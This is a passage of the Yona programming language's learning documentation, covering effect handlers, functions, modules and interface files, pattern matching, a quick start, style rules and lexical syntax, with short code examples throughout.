and open HOF rows on exported `FN` lines are restored on import. A least-fixed-point story beyond generalizing the rest var is not implemented. ## E0202 — unhandled effects are errors Applying a function whose row is not fully covered by any surrounding handler is a compile-time **error** (`E0202`), not a warning. The primary diagnostic points at the **introducing `perform`**, with a note at the call that let the effect escape: ```yona let f = \x -> perform State.get () in # f : a -> !{State.get} Int f 0 # error[E0202]: unhandled effect State.get # --> points at `perform State.get ()` # note: applied here with no covering handler ``` The fix is a handler at the use site: ```yona let f = \x -> perform State.get () in handle f 0 with State.get () resume -> resume 7 return val -> val end # => 7 ``` A *direct* `perform` with no handler in scope (not mediated through a function application) compiles with a `-Wunhandled-effect` warning and raises `:UnhandledEffect` at runtime if reached. ## Rows cross module boundaries `.yonai` `FN` lines may carry a closed set, an open rest, or both: ``` FN yona_Test_Fx__fetch 1 STRING -> STRING effects Fs.read FN yona_Test_Hof__apply 2 STRING -> STRING effects | hof ``` `effects | hof` is the `apply f x = f x` shape: the first parameter is a function, and applying it propagates that argument's effects. A missing `effects` field stays unknown (fresh type vars), so existing stdlib interfaces are unchanged. Module compile typechecks siblings as a unit, so `wrap = \() -> readSecret ()` records `readSecret`'s row on `wrap`. Importing and applying an effectful export is **E0202** unless a `handle` at the import/apply site covers every listed op. ## Worked example: GPU fallback `Std\GPU` uses effects to let *you* decide what a GPU failure means. Kernels report issues as ordinary values; `raiseGpu` converts an issue into a `perform Gpu.*`, designed to be answered by a handler at your call site: ```yona import raiseGpu, GpuOom from Std\GPU in handle raiseGpu GpuOom # performs Gpu.oom () with Gpu.oom () resume -> resume () # e.g. log and fall back to CPU Gpu.deviceLost () resume -> resume () Gpu.fail code resume -> resume () return val -> 1 end # => 1 ``` Step by step: `raiseGpu GpuOom` performs `Gpu.oom ()`; the handler resumes with `()`, so the handled expression yields `()`; the `return` clause maps that to `1`. A different caller could resume differently — retry, abort, or switch backends — without touching the kernel code. `withGpuFallback action` wraps this pattern: it runs `action`, then performs the matching `Gpu.*` operation for the last classified issue (no-op on success). ## Current limitations Stated plainly, because they shape what you can write today: - **Handlers are shallow, in-scope dispatch.** `resume` is an identity continuation: the clause computes a value and execution continues at the `perform` site. You cannot capture `resume`, call it later, call it twice, or decline to call it to abort with a different value — patterns like backtracking, generators-via-effects, and resumable exceptions that need a first-class delimited continuation are not expressible yet. - **`effect` declarations do not parse.** Operations exist only as `Effect.op` labels at `perform` and `handle` sites; there is no place to declare operation signatures, so argument types are checked structurally at each site. - **A missing `effects` field means unknown, not pure.** Closed sets and `effects | hof` are restored; `\x f -> f x` (function not first) is not a serialized HOF shape. ## Why effects Compared with the usual alternatives: - **Versus exceptions:** a handler can `resume`, so the computation continues after the operation — exceptions can only unwind. - **Versus dependency injection:** no interfaces, containers, or mock frameworks; the handler *is* the injected behavior, scoped lexically. - **Versus monads:** effectful code is direct style — no transformer stacks, no lifting, and pure code pays nothing. Testing falls out for free — handle the effect with canned data: ```yona let getUsers = \() -> perform Db.query "SELECT * FROM users" in handle getUsers () with Db.query sql resume -> resume [("alice", 30), ("bob", 25)] return val -> val end # => [("alice", 30), ("bob", 25)] (no database anywhere) ``` See the [specification](/reference/specification/) for the formal typing rules, and [Concurrency](/learn/concurrency/) for the built-in `Cancel.check` effect used by cooperative cancellation. --- # Functions Source: https://yona-lang.org/learn/functions/ Functions are Yona's basic building block. They are first-class values: you can pass them, return them, store them in data structures, and apply them partially. ## Definitions A function is a name, space-separated parameter patterns, `=`, and a body. This is the form the standard library uses (`map fn seq = …`): ```yona add x y = x + y add 1 2 # => 3 ``` There is no `name(x, y) -> body` definition syntax. Parentheses around parameters are a *pattern*: `add (x, y) = x + y` is a one-argument function that matches a tuple, not a two-argument function. Parameters are patterns, so a definition can have several clauses. Clauses are tried top to bottom; the first whose patterns match is used. Recursion is often clearer as a `case` in one clause — the same shape as `Std\List`: ```yona factorial n = case n of 0 -> 1 _ -> n * factorial (n - 1) end factorial 5 # => 120 ``` ### Guards An optional `if` guard after the parameters restricts when a clause applies; if the guard is `false`, matching falls through to the next clause: ```yona abs x if x >= 0 = x abs x if x < 0 = -x abs (-3) # => 3 ``` Put more specific clauses first; matching is strictly top-to-bottom. ### Type annotations Annotations are optional — the compiler infers every type (see [Types and data](/learn/types/)). When you want one, write a Haskell-style signature on the line before the definition: ```yona scale : Float -> Float -> Float scale factor x = factor * x greet : String -> String greet name = "Hello " ++ name greet "Yona" # => "Hello Yona" ``` Arrows in the signature are curried: `Float -> Float -> Float` is a function of one `Float` returning a function of one `Float`. ## Lambdas and thunks Anonymous functions use a backslash: ```yona \x -> x * 2 \(x, y) -> x + y # tuple-pattern parameter ``` A **thunk** is a zero-parameter lambda, written with no parameters at all: ```yona \-> expensiveComputation ``` ## Zero-arity functions auto-evaluate Because evaluation is strict, referencing a zero-arity function by name *calls* it. To pass a zero-arity function as a value without calling it, wrap it in a thunk: ```yona let getTime = \-> System.nanoTime in let t = getTime in # calls it — t is a number let deferred = \-> getTime in runLater deferred # passes the function, does not call it ``` ## Application ### Juxtaposition The primary application syntax is juxtaposition — the function followed by space-separated arguments, as in Haskell or ML: ```yona add 1 2 # => 3 map (\x -> x * 2) [1, 2, 3] # => [2, 4, 6] ``` Application binds tighter than every binary operator, so `f x + g y` is `(f x) + (g y)`. Parenthesize an argument when it is itself an application or contains operators: `f (g x)`, `add (1 + 2) 3`. `f(x)` is the same as `f x`. `f(x, y)` is **not** a two-argument call — it applies `f` to the tuple `(x, y)`. For `add x y = x + y`, `add 1 2` is `3` and `add(1, 2)` is a leftover function. ### Partial application and currying Applying a function to fewer arguments than it takes returns a function of the remaining arguments: ```yona let add5 = add 5 in add5 10 # => 15 ``` Functions that return functions chain naturally: ```yona let adder n = \x -> x + n in adder 10 32 # => 42 let f a = \b -> \c -> a + b + c in f 1 2 3 # => 6 ``` ## Closures A function captures the free variables of its enclosing scope by value at the point of definition. The captured environment travels with the function, including through higher-order calls: ```yona let n = 10, addN = \x -> x + n, # addN captures n apply = \f x -> f x in apply addN 5 # => 15 ``` Implementation note. Closures compile to a heap record holding the function pointer and the captured values; recursive closures use a weak self-reference so a closure that mentions itself does not leak. ## Pipes `|>` feeds a value into a function left to right; `<|` is the same, right to left. Pipes have the lowest precedence, so the whole expression on each side is evaluated first: ```yona import map, filter, sum from Std\List in [1, 2, 3, 4, 5] |> filter (\x -> x % 2 == 1) |> map (\x -> x * x) |> sum # => 35 sum <| map (\x -> x * x) <| [1, 2, 3] # => 14 ``` Use `|>` for data-transformation pipelines — the value flows visibly through each stage. ## Higher-order functions Functions take and return functions freely. The stdlib and prelude are built on this: `map`, `filter`, `fold` in [Std\List](/stdlib/list/), and prelude combinators that need no import: ```yona identity 42 # => 42 const 1 "ignored" # => 1 flip (\a b -> a - b) 1 10 # => 9 compose (\x -> x + 1) (\x -> x * 2) 5 # => 11 (applies g, then f) ``` ```yona import foldl from Std\List in foldl (\acc x -> acc + x) 0 [1, 2, 3, 4] # => 10 ``` `Std\List.foldl` is the idiomatic aggregation loop — it is tail-recursive and never overflows the stack, unlike a hand-written right recursion over a long sequence. Writing your own higher-order function is nothing special: ```yona twice f x = f (f x) twice (\x -> x * 3) 2 # => 18 ``` ## Recursion There is no loop syntax; iteration is recursion (or a [generator](/learn/collections/) / stdlib function that encapsulates it). Multiple clauses plus guards make recursive definitions read like their mathematical specification: ```yona fib n = case n of 0 -> 0 1 -> 1 _ -> fib (n - 1) + fib (n - 2) end fib 10 # => 55 ``` For sequence recursion, pattern-match on head and tail — see [Pattern matching](/learn/pattern-matching/): ```yona sum xs = case xs of [] -> 0 [h|t] -> h + sum t end sum [1, 2, 3, 4, 5] # => 15 ``` ## Where to next - [Pattern matching](/learn/pattern-matching/) — the pattern forms usable in parameters and `case`. - [Types and data](/learn/types/) — how the checker infers function types. - [Collections](/learn/collections/) — the functions in `Std\List` and friends. --- # Modules Source: https://yona-lang.org/learn/modules/ A Yona module is a named collection of functions and types that compiles to a native object file. Modules are **top-level declarations**, not expressions — they cannot be passed around, returned, or stored in data structures. One file, one module. ## Declaring a module A module file starts with `module Pkg\Name` and **ends at end-of-file** — there is no closing `end` keyword. The name is a fully qualified name (FQN) with backslash-separated package segments: ```yona module Data\Geometry export area, perimeter export type Shape type Shape = Circle Float | Rect Float Float area shape = case shape of Circle r -> 3.14159265 * r * r Rect w h -> w * h end perimeter shape = case shape of Circle r -> 2.0 * 3.14159265 * r Rect w h -> 2.0 * (w + h) end # Private helper — not exported, invisible to importers square x = x * x ``` Everything after the exports is ordinary Yona: type declarations and function definitions. Anything not listed in an `export` statement is private to the module. ## Exports `export` is a standalone statement and may appear any number of times, each handling one group of names: ```yona export area, perimeter # functions export type Shape # a type AND all of its constructors export scale from Data\Xform # re-export from another module ``` The three forms, precisely: - **Functions:** `export f, g` makes `f` and `g` callable by importers. - **Types:** `export type Shape` exports the type together with all its constructors (`Circle`, `Rect`), so importers can construct values and pattern-match on them. - **Re-exports:** `export f, g from Other\Mod` republishes names defined in another module as if they were defined here. Importers depend only on the re-exporting module. The re-exporting module may also use those names in its own definitions: ```yona module Std\Convenience export add, mul from Std\Arith export double double x = add x x # re-exported names are usable locally ``` ## Imports are expressions `import … in body` brings names into scope **for the body expression only** — it is scoped like `let`, not a file-level statement. This means imports can appear anywhere an expression can, and their scope is exactly as large as you make it. ### Selective import ```yona import area from Data\Geometry in area (Circle 1.0) # => 3.14159265 ``` ### Aliased import Rename on import with `as` — useful for avoiding clashes or shortening names: ```yona import area as shapeArea from Data\Geometry in shapeArea (Rect 2.0 3.0) # => 6.0 ``` ### Whole-module import Importing just the module name brings **all** of its exports into scope: ```yona import Data\Geometry in area (Circle 1.0) + perimeter (Rect 2.0 3.0) ``` Prefer selective imports in anything but throwaway code; they document where each name comes from. ### Multi-module imports One `import` can pull from several modules, comma-separated. This is the idiomatic form — do not nest `import` expressions: ```yona import area from Data\Geometry, println from Std\IO in do println "computing" area (Circle 1.0) end ``` ## Fully qualified calls `Pkg\Mod::func` calls an exported function directly, **with no import at all**. The compiler auto-loads the module's interface: ```yona Std\List::map (\x -> x + 1) [1, 2, 3] # => [2, 3, 4] ``` FQN calls suit one-off uses; switch to an import when a module is used more than a couple of times in the same expression. ## How `yonac` compiles a module Compiling a module file produces two artifacts: ```bash yonac -o Geometry.o Data/Geometry.yona # produces Geometry.o (native object) + Data/Geometry.yonai (interface) ``` - **The object file (`.o`)** contains native code with C-ABI exports. Names are mangled predictably — `Data\Geometry::area` becomes `yona_Data_Geometry__area` — so Yona modules link with C (and anything with a C FFI) through the ordinary system linker. - **The interface file (`.yonai`)** is a text file describing the exported functions' signatures, ADT definitions, traits, and inferred effect rows. It is what makes cross-module calls *type-checked*: when you import a module, the compiler reads its `.yonai`, not its source. Exported functions also embed their source text in the interface, so generic functions can be re-specialized at call sites whose types differ from the pre-compiled signature (cross-module monomorphization). When resolving `import Data\Geometry`, the compiler looks for `Data/Geometry.yonai` in the `-I` search paths, then next to the input file, then in the current directory: ```bash yonac -I ./lib -I "$YONA_HOME/lib" -o program main.yona ``` Modules must be compiled in dependency order — circular module dependencies are not supported. For the interface file format, borrow inference metadata, and the details of cross-module generics, see [Modules and interfaces](/guides/modules-interfaces/). ## A complete two-file example `Data/Counter.yona`: ```yona module Data\Counter export type Counter export make, bump, value type Counter = Counter Int make = Counter 0 bump c = case c of Counter n -> Counter (n + 1) end value c = case c of Counter n -> n end ``` `main.yona`: ```yona import make, bump, value from Data\Counter in value (bump (bump make)) # => 2 ``` Build and run: ```bash yonac -o Counter.o Data/Counter.yona yonac -I . -o main main.yona ./main # exit code 2 ``` The exported `Counter` constructor is available to `main.yona` because `export type Counter` exports the type with its constructors; `bump`'s pattern match on `Counter n` in an importing module would work the same way. --- # Pattern matching Source: https://yona-lang.org/learn/pattern-matching/ Pattern matching is how Yona code inspects and decomposes values. It appears in `case` expressions, function parameters, `let` bindings, and `catch` clauses. A pattern either **matches** a value — binding any variables it contains — or fails, in which case matching moves on to the next candidate. ## Case expressions ```yona case value of pattern1 -> result1 pattern2 -> result2 _ -> fallback end ``` Arms are tried strictly **top to bottom**; the first pattern that matches (and whose guard, if any, passes) selects the arm, and its body becomes the value of the whole expression. Later arms are not evaluated. If no arm matches at runtime, the program aborts with a match error — so end with a `_` arm unless the patterns provably cover every case. ```yona case n of 0 -> "zero" 1 -> "one" _ -> "many" end ``` ## Pattern forms ### Literals Integers, floats, strings, characters, booleans, and symbols match by equality: ```yona case status of :ok -> "success" :error -> "failure" :pending -> "waiting" end ``` Implementation note. Symbols are interned to integers at compile time, so a `case` over symbols compiles to an integer switch — dispatch is a single comparison per arm, or a jump table. ### Variables and wildcard A lowercase name matches anything and binds it in the arm's body. `_` matches anything and binds nothing: ```yona case point of (x, _) -> x # binds x, ignores the second component end ``` ### Tuples Tuple patterns match tuples of exactly that arity, position by position: ```yona case (1, "hello", :ok) of (n, msg, :ok) -> msg # => "hello" (_, _, :error) -> "failed" end ``` ### Sequences — exact length `[]`, `[x]`, `[a, b]` match sequences of exactly zero, one, two … elements: ```yona case xs of [] -> "empty" [x] -> "one element" [a, b] -> "exactly two" _ -> "three or more" end ``` ### Sequences — head and tail `[h|t]` matches any non-empty sequence, binding the first element and the remaining sequence. Multiple heads may precede the tail: `[a, b | rest]` requires at least two elements. This is the primary way to recurse over sequences: ```yona sum xs = case xs of [] -> 0 [h|t] -> h + sum t end sum [1, 2, 3, 4, 5] # => 15 case list of [x, y | rest] -> "starts with {x} then {y}" _ -> "fewer than two" end ``` Implementation note. Taking head and tail of a persistent sequence is O(1), so head-tail recursion has no hidden copying cost — see [Collections](/learn/collections/). ### Constructors (ADTs) Constructor patterns match a specific variant of an [algebraic data type](/learn/types/) and bind its fields positionally. Patterns nest arbitrarily. Prelude constructors such as `Some`/`None` work in an expression program; your own `type` declarations belong in a `module` (see [Modules](/learn/modules/)): ```yona let maybeValue = Some 42 in case maybeValue of Some x -> x * 2 None -> 0 end ``` ```yona module Demo\Tree export depth type Tree a = Node (Tree a) a (Tree a) | Leaf depth t = case t of Leaf -> 0 Node l _ r -> 1 + (if depth l > depth r then depth l else depth r) end ``` ### Named fields (records) ADTs with named fields match with `Constructor { field = pattern, … }`. You only name the fields you care about: ```yona module Demo\People export greet, ageOf type Person = Person { name : String, age : Int } greet person = case person of Person { name = n, age = a } -> "{n} is {a}" end ageOf person = case person of Person { age = a } -> a # other fields ignored end ``` ### Or-patterns `|` between patterns matches if any alternative matches. Alternatives share one arm body: ```yona case x of 1 | 2 | 3 -> "small" _ -> "big" end ``` ### Guards A pattern may carry an `if` guard; the arm is taken only when the pattern matches *and* the guard (which may use the pattern's bindings) is true. A failed guard falls through to the next arm: ```yona case x of 0 -> "zero" n if n > 0 -> "positive" _ -> "negative" end ``` ### Typed patterns `(name : Type)` matches on the *runtime type* of a value from an anonymous sum type like `Int | String`, binding it at the annotated type: ```yona describe : Int | String -> String describe v = case v of (n : Int) -> "number {n}" (s : String) -> "text {s}" end describe 42 # => "number 42" describe "hello" # => "text hello" ``` ### As-bindings Partial `name@pattern` matches the pattern and additionally binds the whole value to `name`. Parser and type-checker support is in place, but code generation for as-bindings in `case` arms is still limited — prefer rebinding explicitly when it fails to compile. ```yona case xs of all@[h|_] -> (h, all) # first element and the whole sequence [] -> (0, []) end ``` ### Dictionary patterns Partial The grammar reserves `{ :key: pattern, … }` for matching dictionary entries by key, but compiler support is currently limited. Use `Std\Dict::get`/`contains` to inspect dictionaries instead — see [Collections](/learn/collections/). ## Patterns outside `case` ### In `let` bindings A `let` binding's left-hand side may be a pattern; it destructures the value. The pattern must match — a failed `let` pattern is a runtime error. ```yona let (a, b) = (1, 2), [h|t] = [10, 20, 30] in a + b + h # => 13 ``` ### In function parameters Every function parameter is a pattern, and multiple clauses give per-constructor definitions (see [Functions](/learn/functions/)): ```yona first pair = case pair of (a, _) -> a end first (1, 2) # => 1 unwrap x = case x of Some v -> v None -> 0 end ``` ### In `catch` clauses Exceptions are ADT values, and `catch` clauses are patterns over them. Unmatched exceptions propagate to the next handler up the stack: ```yona type Error = RuntimeError String | NotFound String try riskyOperation catch RuntimeError msg -> "runtime: " ++ msg NotFound path -> "missing: " ++ path _ -> "unknown failure" end ``` ## Exhaustiveness When the scrutinee is an ADT, the compiler checks that the arms cover every constructor and emits a **warning** (not an error) for each missing one: ```yona type Color = Red | Green | Blue case color of Red -> "red" Green -> "green" end # Warning: non-exhaustive pattern match on Color — missing constructor Blue ``` A `_` or variable arm makes any match exhaustive. Heed these warnings: a non-exhaustive match that falls off the end aborts at runtime. ## Where to next - [Types and data](/learn/types/) — defining the ADTs you match on. - [Collections](/learn/collections/) — sequence, dict, and set operations. - [Language specification](/reference/specification/) — the full pattern grammar. --- # Quick start Source: https://yona-lang.org/learn/quick-start/ This page takes you from nothing to a compiled, running Yona program. [Install Yona](/install/) first; you need `yonac` (the compiler) and `yona` (the REPL) on `PATH`. ## Evaluate an expression `yonac -e` compiles and runs a single expression: ```bash yonac -e 'let fib n = if n <= 1 then n else fib (n-1) + fib (n-2) in fib 10' # => 55 ``` Everything in Yona is an expression — a program is *one* expression, and its value is the program's result. `let` introduces bindings; `fib` here is a recursive function bound with function-definition syntax. ## Your first file Create `hello.yona`: ```yona # hello.yona — a program is a single expression. import println from Std\IO in println "Hello from Yona" ``` What this does, precisely: - `import println from Std\IO in …` brings one function from the standard library's `Std\IO` module into scope for the expression that follows. - That expression *is* the program. `println` writes the line; there is no dummy return value and no `do` wrapper around a single call. Compile and run: ```bash yonac hello.yona -o hello # default output name is a.out (a.exe on Windows) ./hello # Hello from Yona ``` `yonac` compiles ahead of time: the output is a self-contained native executable, not a script. Without `-o`, expression programs compile to `a.out` (`a.exe` on Windows); use `--emit-ir` if you want to inspect the generated LLVM IR instead. ## Something real: parallel I/O without async Save as `sizes.yona`: ```yona # Reads two files concurrently, then reports their combined length. import readFile from Std\File, println from Std\IO, length from Std\String in let a = readFile "hello.yona", # both reads are submitted b = readFile "sizes.yona" # before either result is needed in println "combined bytes: {(length a + length b)}" ``` Three things to notice: 1. **No async/await.** `readFile` performs non-blocking I/O. Because the two bindings do not depend on each other, the compiler runs them in parallel; the values are awaited automatically at first use (`length a`). This is Yona's *transparent async* — the founding idea of the language. Details in [Concurrency](/learn/concurrency/). 2. **Multi-binding `let`.** One `let` introduces many bindings, separated by commas. Nesting `let` inside `let` is legal but unidiomatic — see [Style](/learn/style/). 3. **String interpolation.** `"{name}"` interpolates a variable; `"{(expr)}"` interpolates an expression (the parentheses are required for anything containing operators). ## Pattern matching in ten lines ```yona let maybeValue = Some 42 in case maybeValue of Some x -> x * 2 None -> 0 end # => 84 ``` `case` matches on the constructors of a value and binds their fields. `Some` and `None` are the constructors of `Option`, available in every program without an import. The compiler knows every constructor of a type, so it can warn when a `case` does not cover all of them. Your own algebraic data types are declared with `type` inside a module — see [Modules](/learn/modules/). More in [Pattern matching](/learn/pattern-matching/) and [Types and data](/learn/types/). ## The REPL ```bash yona ``` `yona` compiles and runs each entered expression natively — it is the same pipeline as `yonac`, not an interpreter. Useful for exploring the standard library: ```yona import map from Std\List in map (\x -> x * x) [1, 2, 3] # => [1, 4, 9] ``` ## Prelude: what needs no import These are available in every program without any `import`: the types `Option a` (`Some`/`None`), `Result a e` (`Ok`/`Err`), `Linear a`, `Iterator a`, and the functions `identity`, `const`, `flip`, `compose`. Everything else — including `foldl`, `map`, and `filter` from [Std\List](/stdlib/list/) — lives in `Std\…` modules; see the [standard library](/stdlib/) and the [prelude reference](/reference/prelude/). ## Where to go next - [Syntax and evaluation](/learn/syntax/) — the exact rules for newlines, literals, and expressions. - [Concurrency](/learn/concurrency/) — `let` vs `do` vs `with`, and what the runtime actually does. - [Why Yona 2.0](/why-yona-2/) — if you knew the GraalVM-era language. --- # Style Source: https://yona-lang.org/learn/style/ Idiomatic Yona is not just aesthetics: several of these rules change what the compiler can do for you. Flat `let` bindings parallelize; nested ones serialize. Each rule below shows the bad form, the good form, and why. ## Never nest `let` `let` takes multiple comma-separated bindings; nesting buries that and hurts readability. ```yona # Bad — unnecessary nesting let x = 42 in let y = x + 1 in x + y ``` ```yona # Good — flat multi-binding let x = 42, y = x + 1 in x + y # => 85 ``` The payoff is bigger than style: **independent bindings in one `let` run in parallel**. Nested `let`s force sequential execution even when the bindings don't depend on each other. ```yona # Bad — each read waits for the previous one let a = readFile "foo.txt" in let b = readFile "bar.txt" in a ++ b ``` ```yona # Good — both reads in flight at once; elapsed ≈ max, not sum let a = readFile "foo.txt", b = readFile "bar.txt" in a ++ b ``` See [Concurrency](/learn/concurrency/) for the full model. ## `let` and `do` have different semantics `let` binds values. Independent right-hand sides may run in parallel and are awaited at first use. `do` sequences effects: every step runs strictly top to bottom, even when the steps look independent. Combining them is valid — and often the right shape — when you want both: ```yona # Good — two reads in flight, then ordered writes let a = readFile "foo.txt", b = readFile "bar.txt" in do writeFile "out-a.txt" (process a) writeFile "out-b.txt" (process b) end ``` Putting those reads in a `do` would serialize them. Putting those writes in a multi-binding `let` would allow them to overlap. Use `let` when the bindings are values (and may run together); use `do` when *order itself* is the point. See [Concurrency](/learn/concurrency/). The anti-pattern is using `let` *as* a sequencer for an unused effect: ```yona # Bad — discard-binding to force an effect let _ = writeFile "out.txt" data in data ``` ```yona # Good — do block for side effects; last expression is the value do writeFile "out.txt" data data end ``` `do` also takes intermediate bindings (`name = expr`), executed strictly in order — the idiomatic shape for a protocol or any sequential I/O where the steps depend on each other: ```yona do content = readFile "input.txt" result = process content writeFile "output.txt" result result end ``` Do not wrap a single expression in `do`. Do not pad a function or program with a dummy last value such as `0` — the last real expression *is* the result (`println` already yields `()`). ## Comma-separate imports Nested `import` expressions add a level of indentation per module for no benefit. ```yona # Bad — one import wrapping another import length from Std\String in import println from Std\IO in println (length "hello") ``` ```yona # Good — one import expression, comma-separated clauses import length from Std\String, println from Std\IO in println (length "hello") # 5 ``` ## Use `with` for resources Manual close calls are lost on every early exit and exception; `with` releases the resource deterministically when the scope exits. ```yona # Bad — close is skipped if send raises do fd = tcpConnect "localhost" 8080 send fd "hello" close fd end ``` ```yona # Good — released on success or exception, checked by the Closeable trait with fd = tcpConnect "localhost" 8080 in send fd "hello" ``` The resource type must implement `Closeable` — this is verified at compile time, so a `with` over a non-resource is an error, not a surprise at runtime. ## Parallel comprehensions for concurrent work Mapping an I/O-bound or CPU-heavy function sequentially wastes the runtime's thread pool; `[| … ]` runs one task per element and keeps result order. ```yona # Bad — one fetch at a time [ httpGet url for url = urls ] ``` ```yona # Good — all fetches concurrent, results in source order [| httpGet url for url = urls ] ``` ```yona [| x * 2 for x = [1, 2, 3, 4, 5] ] # => [2, 4, 6, 8, 10] ``` Keep the plain form `[ … ]` for cheap pure bodies, where task overhead would exceed the work. ## `foldl` for aggregation Hand-rolled non-tail recursion over a sequence grows the call stack; `Std\List.foldl` is tail-recursive, which the compiler turns into a loop, so it cannot overflow. ```yona # Bad — deep recursion, stack depth proportional to length let sum xs = case xs of [] -> 0 [h|t] -> h + sum t end in sum bigList ``` ```yona # Good — foldl, constant stack import foldl from Std\List in foldl (\acc x -> acc + x) 0 bigList ``` ```yona import foldl from Std\List in foldl (\acc x -> acc + x) 0 [1, 2, 3, 4] # => 10 ``` `foldr` exists for the cases that genuinely need right association; default to `foldl`. ## Iterators for streaming Reading a whole file into a sequence costs O(file) memory; iterator-based functions like `readLines`, `chars`, and `split` stream in O(1). ```yona # Bad — reads the whole file into one string before counting import readFile from Std\File, chars from Std\String, foldl from Std\List in foldl (\n c -> if c == '\n' then n + 1 else n) 0 [c for c = chars (readFile "big.log")] ``` ```yona # Good — streams line by line, constant memory import readLines from Std\File, foldl from Std\List in foldl (\n _ -> n + 1) 0 [line for line = readLines "big.log"] ``` Iterator values feed comprehensions as generator sources; nothing is read from the file until the generator pulls it. ## Naming conventions Consistent casing carries information: you can tell a constructor from a function from a symbol at a glance. ```yona # Bad process_item x = x # snake_case function module std\my_utils # lowercase module case status of :OK -> 1 end # uppercase symbol ``` ```yona # Good processItem x = x # camelCase functions and variables module Std\MyUtils # PascalCase modules, backslash-separated case status of :ok -> 1 end # :snake_case symbols ``` - **Functions, variables:** `camelCase` — `readFile`, `processItem` - **Modules, types, constructors:** `PascalCase` — `Std\String`, `Option`, `Some` - **Symbols:** `:snake_case` — `:ok`, `:not_found` - **Type variables:** single lowercase letters — `a`, `b`, `e` ## Indentation Two spaces per level, lines within 80–100 characters. ```yona # Bad — four spaces and tab mixes drift into misalignment case xs of [] -> 0 [h|t] -> h end ``` ```yona # Good — two spaces case xs of [] -> 0 [h|t] -> h end ``` Newlines end expressions in case arms, `do` blocks, and module bodies, so consistent shallow indentation keeps expression boundaries obvious. Inside brackets, and after binary operators and `->`, newlines are suppressed — use that for natural line continuation instead of escape characters. ## Use the prelude `Some`, `None`, `Ok`, `Err`, `Linear`, `Iterator`, `identity`, `const`, `flip`, and `compose` are always in scope; importing or re-defining them is noise. (Collection functions like `foldl` are not prelude — import them from [Std\List](/stdlib/list/).) ```yona # Bad — shadowing a prelude type with a homemade one type Maybe a = Just a | Nothing case lookup k m of Just v -> v; Nothing -> 0 end ``` ```yona # Good — prelude Option, no import, no declaration case lookup k m of Some v -> v None -> 0 end ``` Prefer `Result a e` (`Ok`/`Err`) for fallible operations and `Option a` (`Some`/`None`) for absence; both pattern-match everywhere without setup. ## Quick checklist - Flat `let`, one binding list — independent bindings parallelize. - `let` for values, `do` for ordered effects; combining them is fine. Never `let _ = effect`, never a one-line `do`, never a dummy trailing `0`. - One `import`, comma-separated clauses. - `with` for anything `Closeable`. - `[| … ]` when the body is worth a task; `[ … ]` otherwise. - `Std\List.foldl` over hand-rolled recursion for aggregation. - Iterators for large inputs. - `camelCase` / `PascalCase` / `:snake_case`; two-space indent. - Reach for the prelude before writing it yourself. For the semantics behind these rules, see [Concurrency](/learn/concurrency/), [Modules](/learn/modules/), and the [specification](/reference/specification/). --- # Syntax and evaluation Source: https://yona-lang.org/learn/syntax/ Yona is an expression language: there are no statements. A program is a single expression, and evaluating it produces the program's result. This page covers the lexical ground rules — how expressions begin and end, what literals look like, and how they evaluate. ## Everything is an expression Every construct — `if`, `case`, `let`, `do`, function bodies — is an expression with a value. There is no `return` keyword and no reason to pad a body with a dummy `0`: a function's value *is* the value of its body. ```yona let status = if ready then :ok else :waiting in let label = case status of :ok -> "ready" :waiting -> "hold on" end in label # => "ready" (when ready is true) ``` ## Strict evaluation Yona evaluates strictly: arguments are evaluated before a function is applied, and `let` bindings are evaluated when bound, not when first used. Order among *independent* `let` bindings is not guaranteed (independent asynchronous bindings may even run in parallel); when side-effect order matters, use a `do` block, whose expressions always run top to bottom. ```yona import print from Std\IO in do print "first" # guaranteed to run before the next line print "second" end ``` ## Newlines and semicolons Newlines are significant tokens. A newline (or an equivalent `;`) terminates an expression in the three places where consecutive expressions can appear: - arms of a `case` expression, - steps of a `do` block, - function definitions in a module body. ```yona case x of :ok -> handleOk x # newline ends this arm :error -> handleError x _ -> fallback x end # Semicolons are interchangeable with newlines: case x of :ok -> 1; :error -> 2; _ -> 0 end ``` Newlines are **suppressed** (treated as plain whitespace) in two situations, which is what makes multi-line expressions natural: 1. Inside brackets — `()`, `[]`, `{}`: ```yona let list = [ 1, 2, 3, 4, 5, 6 ] in list # => [1, 2, 3, 4, 5, 6] ``` 2. After a binary operator or a continuation token (`->`, `=`, `,`), so a line ending in an operator continues on the next line: ```yona let total = price + tax + shipping in total ``` Implementation note. The lexer tracks bracket depth and the previous token to decide whether a newline is a delimiter or whitespace; inside a `case`/`do` block nested in brackets, newlines still reach the parser as clause separators. This is what allows juxtaposition application (`f x y`) without ambiguity at expression boundaries. ## Comments Line comments start with `#`. Doc comments start with `##` and are attached to the following definition (the stdlib's API reference is generated from them). Block comments use `/* … */` and nest. ```yona # a line comment ## Doubles a number. (doc comment — extracted into API docs) double x = x * 2 /* block comment /* nested block comments are fine */ still inside the outer comment */ double 21 # => 42 ``` Never write `--` for a comment — `--` is the remove operator token, not a comment introducer, and will produce a parse error. ## Literals ### Integers `Int` is a 64-bit signed integer. Underscores may separate digits for readability. ```yona 42 -17 1_000_000 # => 1000000 ``` ### Floats `Float` is a 64-bit IEEE double. Scientific notation is supported. ```yona 3.14 -0.5 1.23e-4 # => 0.000123 ``` ### Strings Strings are written in double quotes and support the usual escapes (`\"`, `\\`, `\n`, `\t`, …). ```yona "Hello, World!" "Escaped \"quotes\" and \n newlines" ``` Strings interpolate expressions in braces: `{name}` for a plain variable, `{(expr)}` — with parentheses — for anything containing operators or application. Non-string values are converted automatically. ```yona let name = "World" in "Hello {name}!" # => "Hello World!" let x = 6 in "result is {(x * 7)}" # => "result is 42" ``` ### Characters and booleans ```yona 'a' '\n' true false ``` ### Unit `()` is the unit value — the empty tuple, used where there is nothing meaningful to return. ```yona () # => () ``` ### Symbols Symbols are interned constants written as `:snake_case`. Two occurrences of the same symbol are always the same value. ```yona :ok :error :not_found ``` Implementation note. Symbols are interned to 64-bit integer IDs at compile time, so comparing two symbols is a single integer comparison, and pattern matching on symbols compiles to an integer switch. See [Pattern matching](/learn/pattern-matching/). ## Conditionals `if` is an expression and the `else` branch is mandatory — every `if` must produce a value of either branch. Both branches must have the same type. ```yona if x > 0 then "positive" else if x < 0 then "negative" else "zero" ``` Prefer `case` over long `if`/`else` chains when you are matching on the shape of a value — see [Pattern matching](/learn/pattern-matching/). ## Operator precedence From highest to lowest binding strength: 1. Field access (`.`) 2. Function application (juxtaposition — `f x`) 3. Power (`**`) 4. Unary (`!`, `~`, unary `-`) 5. Multiplicative (`*`, `/`, `%`) 6. Additive (`+`, `-`) 7. Shift (`<<`, `>>`, `>>>`) 8. Join (`++`) 9. Cons (`::`, `:>`) 10. Comparison 